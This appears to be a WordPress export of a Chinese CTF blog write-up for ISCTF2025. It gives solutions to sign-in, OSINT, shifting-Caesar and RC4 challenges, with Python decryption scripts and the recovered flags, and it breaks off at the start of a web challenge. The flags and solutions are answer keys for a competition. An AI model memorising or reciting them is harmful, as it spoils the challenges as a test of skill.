{"id":1564,"date":"2025-12-09T20:44:49","date_gmt":"2025-12-09T12:44:49","guid":{"rendered":"https:\/\/www.sanjiuctf.com\/?p=1564"},"modified":"2025-12-24T09:49:28","modified_gmt":"2025-12-24T01:49:28","slug":"isctf2025%e9%83%a8%e5%88%86wp","status":"publish","type":"post","link":"https:\/\/www.sanjiuctf.com\/?p=1564","title":{"rendered":"ISCTF2025\u90e8\u5206wp"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\">SignIn<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">\u8001\u670b\u53cb\u3001\u8001\u670b\u53cb\u4eec\u548c\u65b0\u670b\u53cb\u4eec<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u7b7e\u5230<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"635\" height=\"901\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1565\"  sizes=\"auto, (max-width: 635px) 100vw, 635px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>\u8001\u4e1c\u897f\u4eec\u5e38\u5728\u7fa4\u91cc\u8bf4ISCTF\u4eca\u5e74\u80af\u5b9a\u4f1a\u51fa\u4e00\u9053\u5411\u84dd\u9ca8\u4fe1\u606f\u516c\u4f17\u53f7\u540e\u53f0\u53d1\u90015202FTCSI\u83b7\u53d6\u7b7e\u5230FLAG\u7684\u9898\u3002<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-1-1024x314.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"314\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-1-1024x314.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1566\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>ISCTF{0nce_M0re_With_Feeling_And_The_J0urney_C0ntinues!!}<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\"><em>\u9650\u65f6<\/em> What a crazy day!! \u4e4b\u52c7\u6562\u8005\u7684\u6e38\u620f<\/h3>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-2.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"795\" height=\"769\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-2.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1567\"  sizes=\"auto, (max-width: 795px) 100vw, 795px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>ISCTF{7hank_you_&amp;_now_you_can_win_3v3n_mor3!!}<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">OSINT-4<\/h3>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-3.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"688\" height=\"933\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-3.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1568\"  sizes=\"auto, (max-width: 688px) 100vw, 688px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-4-1024x485.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"485\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-4-1024x485.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1569\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>ISCTF{like.crazy.thursdays}<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Ez_Caesar<\/h3>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-5.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"619\" height=\"645\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-5.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1570\"  sizes=\"auto, (max-width: 619px) 100vw, 619px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">task.py<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>def variant_caesar_encrypt(text):\n    encrypted = \"\"\n    shift = 2\n    for char in text:\n        if char.isalpha():\n            if char.isupper():\n                base = ord('A')\n                new_char = chr((ord(char) - base + shift) % 26 + base)\n            else:\n                base = ord('a')\n                new_char = chr((ord(char) - base + shift) % 26 + base)\n            encrypted += new_char\n            shift += 3\n        else:\n            encrypted += char\n    return encrypted\n\n# KXKET{Tubsdx_re_hg_zytc_hxq_vnjma}<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u52a0\u5bc6\u8fc7\u7a0b<\/strong><\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u521d\u59cb\u504f\u79fb\u91cf<\/strong>\uff1a<code>shift = 2<\/code><\/li>\n\n\n\n<li><strong>\u52a8\u6001\u504f\u79fb<\/strong>\uff1a\u6bcf\u52a0\u5bc6\u4e00\u4e2a\u5b57\u6bcd\u540e\uff0c\u504f\u79fb\u91cf\u589e\u52a0 <code>+3<\/code><\/li>\n\n\n\n<li><strong>\u4fdd\u6301\u975e\u5b57\u6bcd\u5b57\u7b26\u4e0d\u53d8<\/strong>\uff1a\u7a7a\u683c\u3001\u6807\u70b9\u7b49\u76f4\u63a5\u4fdd\u7559<\/li>\n\n\n\n<li><strong>\u5927\u5c0f\u5199\u5206\u522b\u5904\u7406<\/strong>\uff1a\u5927\u5199\u5b57\u6bcd\u548c\u5927\u5199\u5b57\u6bcd\u6620\u5c04\uff0c\u5c0f\u5199\u548c\u5c0f\u5199\u6620\u5c04<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">\u52a0\u5bc6\u793a\u4f8b\uff1a<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5bf9\u4e8e\u5b57\u6bcd <code>'A'<\/code> \u6216 <code>'a'<\/code>\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u7b2c\u4e00\u6b21\u52a0\u5bc6\uff1a<code>shift=2<\/code> \u2192 \u53d8\u4e3a <code>'C'<\/code> \u6216 <code>'c'<\/code><\/li>\n\n\n\n<li>\u7b2c\u4e8c\u6b21\u52a0\u5bc6\uff1a<code>shift=5<\/code> \u2192 \u5bf9\u5e94\u5b57\u6bcd\u79fb\u52a85\u4f4d<\/li>\n\n\n\n<li>\u7b2c\u4e09\u6b21\u52a0\u5bc6\uff1a<code>shift=8<\/code> \u2192 \u5bf9\u5e94\u5b57\u6bcd\u79fb\u52a88\u4f4d<\/li>\n\n\n\n<li>\u4f9d\u6b64\u7c7b\u63a8&#8230;<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">\u89e3\u5bc6py3\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>def variant_caesar_decrypt(ciphertext):\n    decrypted = \"\"\n    shift = 2  # \u521d\u59cb\u504f\u79fb\u91cf\u4e0e\u52a0\u5bc6\u65f6\u76f8\u540c\n    for char in ciphertext:\n        if char.isalpha():\n            if char.isupper():\n                base = ord('A')\n                # \u89e3\u5bc6\u65f6\u4f7f\u7528\u51cf\u53bb\u504f\u79fb\u91cf\n                new_char = chr((ord(char) - base - shift) % 26 + base)\n            else:\n                base = ord('a')\n                new_char = chr((ord(char) - base - shift) % 26 + base)\n            decrypted += new_char\n            shift += 3  # \u504f\u79fb\u91cf\u53d8\u5316\u4e0e\u52a0\u5bc6\u65f6\u4e00\u81f4\n        else:\n            decrypted += char\n    return decrypted\n\n# \u89e3\u5bc6flag\ncipher_flag = \"KXKET{Tubsdx_re_hg_zytc_hxq_vnjma}\"\nplain_flag = variant_caesar_decrypt(cipher_flag)\nprint(plain_flag)<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u52a0\u5bc6\u662f\u52a0\u6cd5\uff0c\u89e3\u5bc6\u4f7f\u7528<strong>\u51cf\u6cd5<\/strong>\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u52a0\u5bc6\uff1a<code>(\u539f\u5b57\u7b26 - base + shift) % 26<\/code><\/li>\n\n\n\n<li>\u89e3\u5bc6\uff1a<code>(\u5bc6\u6587\u5b57\u7b26 - base - shift) % 26<\/code><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">\u5bc6\u6587\u5206\u6790\uff1a<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5bc6\u6587\uff1a<code>KXKET{Tubsdx_re_hg_zytc_hxq_vnjma}<\/code><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-6.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"815\" height=\"80\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-6.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1571\"  sizes=\"auto, (max-width: 815px) 100vw, 815px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>ISCTF{Caesar_is_so_easy_and_funny}<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">\u5c0f\u84dd\u9ca8\u7684RC4\u7cfb\u7edf<\/h3>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-7.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"636\" height=\"660\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-7.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1572\"  sizes=\"auto, (max-width: 636px) 100vw, 636px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">task.py<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import hashlib\n\nclass StreamCipher:\n    def __init__(self, key):\n\n        self.S = list(range(256))\n        self.i = 0\n        self.j = 0\n\n        j = 0\n        key_bytes = self._key_to_bytes(key)\n        for i in range(256):\n            j = (j + self.S&#91;i] + key_bytes&#91;i % len(key_bytes)]) % 256\n            self.S&#91;i], self.S&#91;j] = self.S&#91;j], self.S&#91;i]\n\n    def _key_to_bytes(self, key):\n\n        if isinstance(key, str):\n            return hashlib.sha256(key.encode()).digest()\n        elif isinstance(key, bytes):\n            return hashlib.sha256(key).digest()\n\n    def _prga(self):\n\n        self.i = (self.i + 1) % 256\n        self.j = (self.j + self.S&#91;self.i]) % 256\n        self.S&#91;self.i], self.S&#91;self.j] = self.S&#91;self.j], self.S&#91;self.i]\n        K = self.S&#91;(self.S&#91;self.i] + self.S&#91;self.j]) % 256]\n        return K\n\n    def crypt(self, data):\n\n        if isinstance(data, str):\n            data = data.encode('utf-8')\n\n        result = bytearray()\n        for byte in data:\n            key_byte = self._prga()\n            result.append(byte ^ key_byte)\n\n        return bytes(result)\n\ndef encrypt_string(text, key):\n\n    cipher = StreamCipher(key)\n    encrypted = cipher.crypt(text)\n    return encrypted.hex()\n\n#ISCTF2025\n#ba19a7116763ba8ba1c236c6bdc30187dcc8afb28c8fa5f266763880b74f5fff915613718f4d19c3baf4bbe24bd57303ce103d<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">RC4 \u662f\u4e00\u79cd\u5bf9\u79f0\u6d41\u5bc6\u7801\u7b97\u6cd5\uff0c\u5305\u62ec\u4e24\u4e2a\u4e3b\u8981\u9636\u6bb5\uff1a<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u5bc6\u94a5\u8c03\u5ea6\u7b97\u6cd5\uff08KSA\uff09<\/strong>\uff1a\u7528\u5bc6\u94a5\u521d\u59cb\u5316\u4e00\u4e2a 256 \u5b57\u8282\u7684 S \u76d2\uff08S-box\uff09\u3002<\/li>\n\n\n\n<li><strong>\u4f2a\u968f\u673a\u751f\u6210\u7b97\u6cd5\uff08PRGA\uff09<\/strong>\uff1a\u7528 S \u76d2\u751f\u6210\u4f2a\u968f\u673a\u5b57\u8282\u6d41\uff0c\u4e0e\u660e\u6587\u5f02\u6216\u52a0\u5bc6\u3002<\/li>\n<\/ol>\n\n\n\n<pre class=\"wp-block-code\"><code>\u5bc6\u6587\uff1a\nba19a7116763ba8ba1c236c6bdc30187dcc8afb28c8fa5f266763880b74f5fff915613718f4d19c3baf4bbe24bd57303ce103d\n\u5bc6\u94a5\uff1aISCTF2025<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u7528 <code>key<\/code>\uff08 <code>\"ISCTF2025\"<\/code>\uff09\u7684 SHA256 \u54c8\u5e0c\u4f5c\u4e3a\u5bc6\u94a5\u5b57\u8282\u3002<\/li>\n\n\n\n<li>\u6839\u636e\u5bc6\u94a5\u6253\u4e71 S \u76d2\u3002<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>PRGA \u6b65\u9aa4<\/strong>\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u6bcf\u8c03\u7528\u4e00\u6b21\uff0c\u751f\u6210\u4e00\u4e2a\u4f2a\u968f\u673a\u5b57\u8282\uff08\u5bc6\u94a5\u6d41\u5b57\u8282\uff09\u3002<\/li>\n\n\n\n<li>\u4e0e\u660e\u6587\u9010\u5b57\u8282\u5f02\u6216\u3002<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">py3\u89e3\u5bc6\u4ee3\u7801\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import hashlib\n\nclass StreamCipher:\n    def __init__(self, key):\n        self.S = list(range(256))\n        self.i = 0\n        self.j = 0\n\n        j = 0\n        key_bytes = self._key_to_bytes(key)\n        for i in range(256):\n            j = (j + self.S&#91;i] + key_bytes&#91;i % len(key_bytes)]) % 256\n            self.S&#91;i], self.S&#91;j] = self.S&#91;j], self.S&#91;i]\n\n    def _key_to_bytes(self, key):\n        if isinstance(key, str):\n            return hashlib.sha256(key.encode()).digest()\n        elif isinstance(key, bytes):\n            return hashlib.sha256(key).digest()\n\n    def _prga(self):\n        self.i = (self.i + 1) % 256\n        self.j = (self.j + self.S&#91;self.i]) % 256\n        self.S&#91;self.i], self.S&#91;self.j] = self.S&#91;self.j], self.S&#91;self.i]\n        K = self.S&#91;(self.S&#91;self.i] + self.S&#91;self.j]) % 256]\n        return K\n\n    def crypt(self, data):\n        if isinstance(data, str):\n            data = data.encode('utf-8')\n\n        result = bytearray()\n        for byte in data:\n            key_byte = self._prga()\n            result.append(byte ^ key_byte)\n\n        return bytes(result)\n\ndef decrypt_hex(hex_str, key):\n    cipher = StreamCipher(key)\n    encrypted_data = bytes.fromhex(hex_str)\n    decrypted = cipher.crypt(encrypted_data)\n    return decrypted.decode('utf-8', errors='replace')\n\n# \u5df2\u77e5\u5bc6\u6587\u548c\u6b63\u786e\u7684\u5bc6\u94a5\nciphertext = \"ba19a7116763ba8ba1c236c6bdc30187dcc8afb28c8fa5f266763880b74f5fff915613718f4d19c3baf4bbe24bd57303ce103d\"\ncorrect_key = \"ISCTF2025\"\n\n# \u4f7f\u7528\u6b63\u786e\u7684\u5bc6\u94a5\u89e3\u5bc6\ntry:\n    plaintext = decrypt_hex(ciphertext, correct_key)\n    print(f\"\u89e3\u5bc6\u6210\u529f\uff01\")\n    print(f\"\u5bc6\u94a5: {correct_key}\")\n    print(f\"Flag: {plaintext}\")\nexcept Exception as e:\n    print(f\"\u89e3\u5bc6\u5931\u8d25: {e}\")<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u89e3\u5bc6\u8fc7\u7a0b<strong>\u4e0e\u52a0\u5bc6\u5b8c\u5168\u76f8\u540c<\/strong>\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u91cd\u65b0\u7528\u76f8\u540c\u5bc6\u94a5\u521d\u59cb\u5316 RC4\uff08S \u76d2\u76f8\u540c\uff09\u3002<\/li>\n\n\n\n<li>\u7528\u76f8\u540c\u7684 PRGA \u751f\u6210\u76f8\u540c\u7684\u5bc6\u94a5\u6d41\u3002<\/li>\n\n\n\n<li>\u5bc6\u6587 XOR \u5bc6\u94a5\u6d41 = \u660e\u6587\u3002<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-8.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"971\" height=\"220\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-8.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1573\"  sizes=\"auto, (max-width: 971px) 100vw, 971px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>ISCTF{Welcome_to_ISCTF_&amp;_this_is_a_secret_with_RC4}<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">\u6211\u53bb\uff0cFlag\u662f\u771f\u7684\uff01\uff1f<\/h3>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-9.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"660\" height=\"904\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-9.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1574\"  sizes=\"auto, (max-width: 660px) 100vw, 660px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u968f\u4fbf\u4e00\u4e2a\u5c31\u884c<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6211\u63d0\u4ea4\u7684\u662f<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ISCTF{\u55b5\u55b5\u55b5?}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Web<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">b@by n0t1ce b0ard<\/h3>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-10.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"634\" height=\"664\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-10.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1575\"  sizes=\"auto, (max-width: 634px) 100vw, 634px\" \/><\/div><\/figure>\n\n\n\n<h4 class=\"wp-block-heading\">\u65b9\u6cd5\u4e00\uff1a<\/h4>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u4fe1\u606f\u6536\u96c6<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-11-1024x330.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"330\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-11-1024x330.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1576\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-12-1024x469.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"469\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-12-1024x469.png\" 